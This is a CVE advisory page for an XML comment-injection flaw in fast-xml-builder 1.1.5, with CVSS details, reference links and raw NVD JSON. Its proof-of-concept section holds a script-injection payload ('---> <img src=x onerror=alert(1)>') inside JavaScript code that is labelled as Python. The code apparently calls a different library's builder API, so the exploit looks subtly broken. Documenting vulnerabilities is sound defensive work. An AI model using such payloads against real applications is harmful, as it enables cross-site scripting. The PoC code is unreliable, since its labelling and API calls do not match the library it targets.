CVE-2026-44664

Description

fast-xml-builder builds XML from JSON. In 1.1.5, the fix for CVE-2026-41650 in fast-xml-parser sanitizes -- sequences in XML comment content using .replace(/--/g, '- -'). This skip the values containing three consecutive dashes (e.g., --->...), allowing an attacker to break out of an XML comment and inject arbitrary XML/HTML content. This vulnerability is fixed in 1.1.6.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

fast-xml-builder <= 1.1.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-44664
const { Builder } = require('fast-xml-builder');

// Vulnerable input with triple dashes to break out of comment
const maliciousInput = '---> <img src=x onerror=alert(1)>';

const options = {
  ignoreAttributes: false,
  format: true,
  suppressEmptyNode: true
};

const builder = new Builder(options);

// Constructing XML with the malicious input
try {
  const xmlOutput = builder.buildObject({
    data: {
      '#comment': maliciousInput
    }
  });
  console.log('Generated XML:');
  console.log(xmlOutput);
  // Expected: The comment closes early, injecting the img tag
} catch (e) {
  console.error('Error:', e);
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44664
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44664
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44664/
[4] VulDB https://vuldb.com/cve/CVE-2026-44664
[5] https://github.com/NaturalIntelligence/fast-xml-builder/security/advisories/GHSA-45c6-75p6-83cc

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44664", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:58.937", "lastModified": "2026-05-13T16:58:09.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "fast-xml-builder builds XML from JSON. In 1.1.5, the fix for CVE-2026-41650 in fast-xml-parser sanitizes -- sequences in XML comment content using .replace(/--/g, '- -'). This skip the values containing three consecutive dashes (e.g., --->...), allowing an attacker to break out of an XML comment and inject arbitrary XML/HTML content. This vulnerability is fixed in 1.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-91"}]}], "references": [{"url": "https://github.com/NaturalIntelligence/fast-xml-builder/security/advisories/GHSA-45c6-75p6-83cc", "source": "[email protected]"}]}}